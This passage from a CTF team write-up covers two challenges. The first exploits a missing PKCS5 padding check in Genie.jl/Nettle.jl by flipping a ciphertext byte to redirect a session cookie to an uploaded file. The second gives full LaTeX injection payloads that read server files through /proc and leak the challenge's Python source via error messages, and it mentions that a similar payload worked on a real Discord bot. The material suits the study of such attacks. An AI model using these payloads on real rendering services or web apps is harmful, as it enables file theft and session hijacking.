https://github.com/GenieFramework/Genie.jl/blob/v4.15.2/src/Cookies.jl#L28-L42 """ get(res::HTTP.Response, key::Union{String,Symbol}) :: Union{Nothing,String} Retrieves a value stored on the cookie as key from the Respose object. # Arguments - payload::Union{HTTP.Response,HTTP.Request}: the request or response object containing the Cookie headers - key::Union{String,Symbol}: the name of the cookie value - encrypted::Bool: if true the value stored on the cookie is automatically decrypted """ function get(res::HTTP.Response, key::Union{String,Symbol}; encrypted::Bool = true) :: Union{Nothing,String} (haskey(HTTPUtils.Dict(res), "Set-Cookie") || haskey(HTTPUtils.Dict(res), "set-cookie")) ? nullablevalue(res, key, encrypted = encrypted) : nothing end # https://github.com/GenieFramework/Genie.jl/blob/v4.15.2/src/Cookies.jl#L135-L157 """ nullablevalue(payload::Union{HTTP.Response,HTTP.Request}, key::Union{String,Symbol}; encrypted::Bool = true) Attempts to retrieve a cookie value stored at key in the payload object and returns a Union{Nothing,String} # Arguments - payload::Union{HTTP.Response,HTTP.Request}: the request or response object containing the Cookie headers - key::Union{String,Symbol}: the name of the cookie value - encrypted::Bool: if true the value stored on the cookie is automatically decrypted """ function nullablevalue(payload::Union{HTTP.Response,HTTP.Request}, key::Union{String,Symbol}; encrypted::Bool = true) :: Union{Nothing,String} for cookie in split(Dict(payload)["cookie"], ';') cookie = strip(cookie) if startswith(lowercase(cookie), lowercase(string(key))) value = split(cookie, '=')[2] |> String encrypted && (value = Genie.Encryption.decrypt(value)) return string(value) end end nothing end # https://github.com/GenieFramework/Genie.jl/blob/v4.15.2/src/Encryption.jl#L24-L35 """ decrypt(s::String) :: String Decrypts s (a string previously encrypted by Genie). """ function decrypt(s::String) :: String (key32, iv16) = encryption_sauce() decryptor = Nettle.Decryptor(ENCRYPTION_METHOD, key32) deciphertext = Nettle.decrypt(decryptor, :CBC, iv16, s |> hex2bytes) String(Nettle.trim_padding_PKCS5(deciphertext)) end # https://github.com/JuliaCrypto/Nettle.jl/blob/v0.5.0/src/cipher.jl#L90-L93 function trim_padding_PKCS5(data::Vector{UInt8}) padlen = data[sizeof(data)] return data[1:sizeof(data)-padlen] end In short, __geniesid is the ciphertext of the relative path for the session file. It uses the decryptor from Nettle.jl to decrypt ciphertext with AES-CBC and unpad. Notably, Nettle.jl's unpad it reads the last character (denoted by$\rho$) and simply remove the last$\rho$characters from the plaintext. It does not checks if the padding is correct under PKCS5. Since the session ID is 64 characters long, the ciphertext would be 80 bytes long. In particular, if$c_4$and$c_5$represents the fourth and the fifth blocks and$\text{pad}$is 10 10 ... 10, we have: $\text{Enc}(c_4 \oplus \text{pad}) = c_5$ If we flip the last byte of$c_4$by 0x10 XOR 0x4f, we would obtain a plaintext which is the first byte of the current plaintext. After all, we have the following algorithm: 1. Upload 16 malicious sessions to ../uploads/0, ../uploads/1, ..., ../uploads/f (yes, @grhkm was correct.) 2. Get a session and flip the last byte of$c_4\$ by 0x5f = 0x10 XOR 0x4f. We then have the session ID being 0, 1, ..., or f, which will point to the malicious session.
3. Use the malicious session and visit a page.
4. Read the flag at http://[HOST]/uploads/flag
I will write a blog post on the cryptographic details later.

## Remote Code TeXecution 1#

Solved by harrier and Ozetta; writeup compiled by Ozetta.

When I was attempting this challenge, the source code was not released.

Few months ago some of our team member added a Discord Bot called "TeXit" to render LaTeX output on Discord... lol it just looks too similar to the current challenge. A day after the Bot is introduced, I managed to craft a payload that can read any files on the server and steal other user's output. The bug is reported to the developers of TeXit and they replied that it is an expected behavior. Well looks like we have some endowment to use for this challenge:

\makeatletter
\def\protected@iwrite#1#2#3{%
\begingroup\set@display@protect
#2% local assignments
\immediate\write#1{#3}\endgroup}

\newwrite\tempfile
\immediate\openout\tempfile=z.tex
\protected@iwrite\tempfile{}{\protect\begin{verbatim}}

\openin\file=../(Discord_User_ID)/(Discord_User_ID).tex
\newcount\foo
\foo=0
\loop\unless\ifeof\file
\ifnum \foo > 53
\protected@iwrite\tempfile{}{\fileline}
\fi
\repeat
\closein\file

The funny >53 is to remove the headers added by the Bot, and we will see later on that it is very useful in this challenge. So I just replace the filename in our old payload to check /proc/self/stat. It shows

Error
The bot thinks your file is insecure
backslash detected!

I also tried /proc/self/exe and it shows

Compilation failed
! Text line contains an invalid character.
ELF^^B^^A^^A^^@^^@^^@^^@^^@^^@^^@^^@^^@^^C^^@>^^@^^A^^@^^@^^@@!^...
l.21 \repeat

?
! Emergency stop.
ELF^^B^^A^^A^^@^^@^^@^^@^^@^^@^^@^^@^^@^^C^^@>^^@^^A^^@^^@^^@@!^...
l.21 \repeat

!  ==> Fatal error occurred, no output PDF file produced!
Transcript written on output.log.
Output PDF not found.

And /proc/self/cmdline shows

! Text line contains an invalid character.
-no-shell-escape^^@-jobname^^@output^^@__document.tex^^@
l.21 \repeat

?
! Emergency stop.
-no-shell-escape^^@-jobname^^@output^^@__document.tex^^@
l.21 \repeat

!  ==> Fatal error occurred, no output PDF file produced!
Transcript written on output.log.
Output PDF not found.

Thanks it is pdflatex, I should know that already based on the experience from TeXit.

Looks like it only got output whenever there is an error. So those verbatim tricks from the old payload didn't work well. I just left the challenge alone and after the author released a hint about procfs, probably we are still on the right track... Then after that I found a shit way to force the error output:

\PackageError{mypackage}{\fileline}{asdf}

So instead of writing to a tempfile, we can throw exception like this to see the output. I am too lazy so I just add one extra line like this lol:

\makeatletter
\def\protected@iwrite#1#2#3{%
\begingroup\set@display@protect
#2% local assignments
\immediate\write#1{#3}\endgroup}

\newwrite\tempfile
\immediate\openout\tempfile=z.tex

\openin\file=/proc/self/stat
\newcount\foo
\foo=0
\loop\unless\ifeof\file
\ifnum \foo > 0
\PackageError{zzz}{\fileline}{xxx}
\protected@iwrite\tempfile{}{\fileline}
\fi
\repeat
\closein\file

\immediate\closeout\tempfile
\input{z.tex}

Reading /proc/self/stat gives this:

! Package zzz Error: 16150 (pdflatex) R 16149 16145 16145 0 -1 4194560 4455 0 0
0 6 0 0 0 20 0 1 0 14499616 104087552 5380 18446744073709551615 94604983250944
94604984547965 140730182785440 0 0 0 0 0 2 0 0 0 17 3 0 0 0 0 0 94604984940784
94604985236168 94605006471168 140730182790653 140730182790710 140730182790710
140730182791142 0 .

I guess there is a script that spawns the pdflatex, so reading the parent process' cmdline should shows the source path. Upload another file and render again gives another pid that is 11 more than the previous one. So let's say we have pid 16150 for /proc/self/stat (from the previous example), we should leak /proc/16160/cmdline to see the source code path. Then this is what we get:

! Text line contains an invalid character.
-c^^@pdflatex -no-shell-escape -jobname output __document...
l.21 \repeat

Thanks it is /bin/sh! Should we find the flag inside? lol Then we check the parent process' id of that sh(it):

! Package zzz Error: 16292 (sh) S 16290 16288 16288 0 -1 4194304 68 0 0 0 0 0 0
0 20 0 1 0 14551347 2478080 128 18446744073709551615 94814411878400 9481441195
3821 140730404898032 0 0 0 0 0 65538 1 0 0 17 4 0 0 0 0 0 94814411984688 948144
11989568 94814436925440 140730404900389 140730404900477 140730404900477 1407304
04900848 0 .

Got a difference of 2, so next time maybe just 11-1-2 = 8, which actually gives this shit:

/usr/bin/make^^@
-s^^@-C^^@sandbox/ffdb9e807e2ef8fd656b_236028595565...
l.21 \repeat

Haiya why not just brute force... ok the difference is 9:

! Text line contains an invalid character.
/workdir/YVvIaGD52z09nIZzXzvB.py^^@
l.21 \repeat

Finally we got the source code's path. Then to leak the source code (well I am not aware of the source code is released by the author at the moment), we can do it line by line... But I don't want so I just copied a string concat macro:

\makeatletter
\def\protected@iwrite#1#2#3{%
\begingroup\set@display@protect
#2% local assignments
\immediate\write#1{#3}\endgroup}
\def\mystring{} % initialize
\def\extendmystring#1#2{\edef\mystring{#1\mystring#2}}

\newwrite\tempfile
\immediate\openout\tempfile=z.tex

\openin\file=/workdir/YVvIaGD52z09nIZzXzvB.py
\newcount\foo
\foo=0
\loop\unless\ifeof\file
\ifnum \foo > 0
\ifnum \foo < 10
\extendmystring{}{\fileline}
\extendmystring{}{FUCK}
\fi
\fi
\repeat
\PackageError{zzz}{\mystring}{xxx}
\closein\file

\immediate\closeout\tempfile
\input{z.tex}

so the output should be a FUCK-separated text of the source code. And I keep requesting the Bot to leak the source code for about 20 lines at a time. Then the single quotes on lines 23 and 44 break the output. So I have to skip these lines manually. Finally I got a different error message from line 171, so looks like it is EOF? Or the # comment character breaks the output again. Then I went back to the team Discord channel to see what's going on and found that our team member harrier has already found the flag on line 171 quickly by viewing the released code.

Here is the final payload to fix the #, using the catcode command to change the category of # char to be "other" so it doesnt get rendered badly:

\makeatletter
\def\protected@iwrite#1#2#3{%
\begingroup\set@display@protect
#2% local assignments
\immediate\write#1{#3}\endgroup}
\def\mystring{} % initialize
\def\extendmystring#1#2{\edef\mystring{#1\mystring#2}}
\catcode\#=12
\newwrite\tempfile
\immediate\openout\tempfile=z.tex

\openin\file=/workdir/YVvIaGD52z09nIZzXzvB.py
\newcount\foo
\foo=0
\loop\unless\ifeof\file
\ifnum \foo > 170
\ifnum \foo < 172
\extendmystring{}{\fileline}
\extendmystring{}{FUCK}
\fi
\fi
\repeat
\PackageError{zzz}{\mystring}{xxx}
\closein\file

\immediate\closeout\tempfile
\input{z.tex}

lol why you still need to write a tempfile...